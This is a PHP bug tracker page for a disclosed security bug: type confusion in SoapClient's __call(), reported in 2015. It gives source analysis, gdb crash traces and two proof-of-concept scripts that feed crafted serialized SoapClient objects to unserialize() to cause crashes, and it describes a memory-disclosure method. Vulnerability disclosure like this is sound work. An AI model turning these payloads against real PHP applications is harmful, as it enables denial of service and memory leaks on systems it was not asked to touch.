|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
Patchesbug70081 (last revision 2015-07-26 23:45 UTC by stas@php.net)Pull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-07-15 12:19 UTC] andrea dot palazzo at truel dot it
-Type: Bug
+Type: Security
-Private report: No
+Private report: Yes
[2015-07-15 12:19 UTC] andrea dot palazzo at truel dot it
[2015-07-24 19:19 UTC] andrea dot palazzo at truel dot it
[2015-07-26 23:45 UTC] stas@php.net
[2015-07-26 23:50 UTC] stas@php.net
[2015-08-03 06:34 UTC] dmitry@php.net
[2015-08-03 09:39 UTC] andrea dot palazzo at truel dot it
[2015-08-04 22:22 UTC] stas@php.net
[2015-08-04 22:22 UTC] stas@php.net
-Status: Open
+Status: Closed
[2015-08-04 22:23 UTC] stas@php.net
[2015-08-04 22:30 UTC] stas@php.net
[2015-08-05 07:29 UTC] stas@php.net
[2015-08-05 10:12 UTC] ab@php.net
[2023-12-31 10:06 UTC] ondrej@php.net
-Assigned To:
+Assigned To: ondrej
[2023-12-31 10:06 UTC] ondrej@php.net
-Status: Closed
+Status: Spam
[2023-12-31 10:07 UTC] ondrej@php.net
-Summary: SoapClient info leak / null pointer dereference via
multiple type confusions
+Summary: Hidden because of SPAM
-Status: Spam
+Status: Closed
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 09:00:01 2025 UTC |
Description: ------------ OVERVIEW SoapClient's __call() method suffers from multiple type confusion issues which could be used to exfiltrate arbitrary memory contents or cause crashe via unsafe unserialize() calls. DETAILS The first problem lies how zend_hash_get_current_key is called in php_http.c:826 zend_hash_get_current_key_ex(Z_ARRVAL_PP(cookies), &key, &key_len, NULL, 0, NULL); here a wrong assumption is made about key always being a **char, in fact, this is not true when unserializing a SoapClient object crafted with a numerically indexed array as _cookies. The scenario mentioned above would then result in a null pointer dereference occuring in zend_hash_get_current_key(), zend_hash.c, line 1088. *num_index = p->h; where num_index is the NULL passed as 4th argument, and p->h a user-controlled value. While remotely this will always lead to a crash attempting to dereference 0x0, locally, if memory mapping is possible, this could be used to get arbitrary memory write and most likely code execution. poc #1 gdb$ r poc1.php Starting program: /usr/bin/php5 ./xplua/poc1sop.php Program received signal SIGSEGV, Segmentation fault. 0x00000000006eabb5 in zend_hash_get_current_key_ex (ht=0x7ffff7fc0670, str_index=str_index@entry=0x7fffffff7860, str_length=str_length@entry=0x7fffffff77bc, num_index=num_index@entry=0x0, duplicate=duplicate@entry=0x0, pos=pos@entry=0x0) at /build/php5-RvVZKb/php5-5.6.10+dfsg/Zend/zend_hash.c:1088 1088 *num_index = p->h; gdb$ p num_index $132 = (ulong *) 0x0 gdb$ p p->h $133 = 0x539 Second problem is a few lines later, php_http.c:833 zval **tmp; 834 if ((zend_hash_index_find(Z_ARRVAL_PP(data), 1, (void**)&tmp) == FAILURE || 835 strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp)) == 0) && 836 (zend_hash_index_find(Z_ARRVAL_PP(data), 2, (void**)&tmp) == FAILURE || 837 in_domain(phpurl->host,Z_STRVAL_PP(tmp))) && 838 (use_ssl || zend_hash_index_find(Z_ARRVAL_PP(data), 3, (void**)&tmp) == FAILURE)) { 839 smart_str_appendl(&soap_headers, key, key_len-1); 840 smart_str_appendc(&soap_headers, '='); 841 smart_str_appendl(&soap_headers, Z_STRVAL_PP(value), Z_STRLEN_PP(value)); 842 smart_str_appendc(&soap_headers, ';'); 843 } 844 } In the code portion above basically every Z_* call leads to a type confusion, no type checks are ever performed on tmp. #poc 2 gdb$ r poc2.php Program received signal SIGSEGV, Segmentation fault. make_http_soap_request (this_ptr=this_ptr@entry=0x7ffff7fc0028, buf=<optimized out>, buf_size=<optimized out>, location=<optimized out>, soapaction=<optimized out>, soap_version=<optimized out>, buffer=buffer@entry=0x7ffff7fc0ce8, buffer_len=buffer_len@entry=0x7ffff7fc0cf0) at /build/php5-RvVZKb/php5-5.6.10+dfsg/ext/soap/php_http.c:837 837 in_domain(phpurl->host,Z_STRVAL_PP(tmp))) && gdb$ x/i $pc => 0x59ebb9 <make_http_soap_request+17369>: cmp BYTE PTR [r12],0x2e gdb$ p $r12 $164 = 0x539 Besides the crashes triggerable making tmp a numeric typed zval, arbitrary memory addresses exfiltration is also possible, even if the content is never reflected to the outside. An attacker could in fact rely on the in_domain()'s strcmp() output to search for arbitrary strings in memory starting from a given address. Considering that the first parameter needs to be a valid host, a remote exploitation is possible with a very limited set of strings (hostnames, numeric values corresponding to valid encoding for a reachable ip address, etc.). Using zval types other than int, it might be possible to exploit the strncmp at line 835, where having path instead of host as first parameter would give the attacker a considerably wider string set. I'm still digging in that direction to see if reliable exploitation is achievable and I will let you know if something comes up. regards, Andrea Test script: --------------- #poc1 <?php //segfault on write access violation @0 $dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:22:"http://localhost/a.xml";s:8:"_cookies";a:1:{i:1337;s:12:"not-a-string";}}'); var_dump($dummy->notexisting()); ?> #poc2 <?php //segfault on read access violation @1337 $dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:26:"http://pwn.badoo.com/a.xml";s:8:"_cookies";a:1:{s:3:"AAA";a:3:{i:0;s:1:"a";i:2;i:1337;i:1;i:1338;}}}'); var_dump($dummy->notexisting()); ?>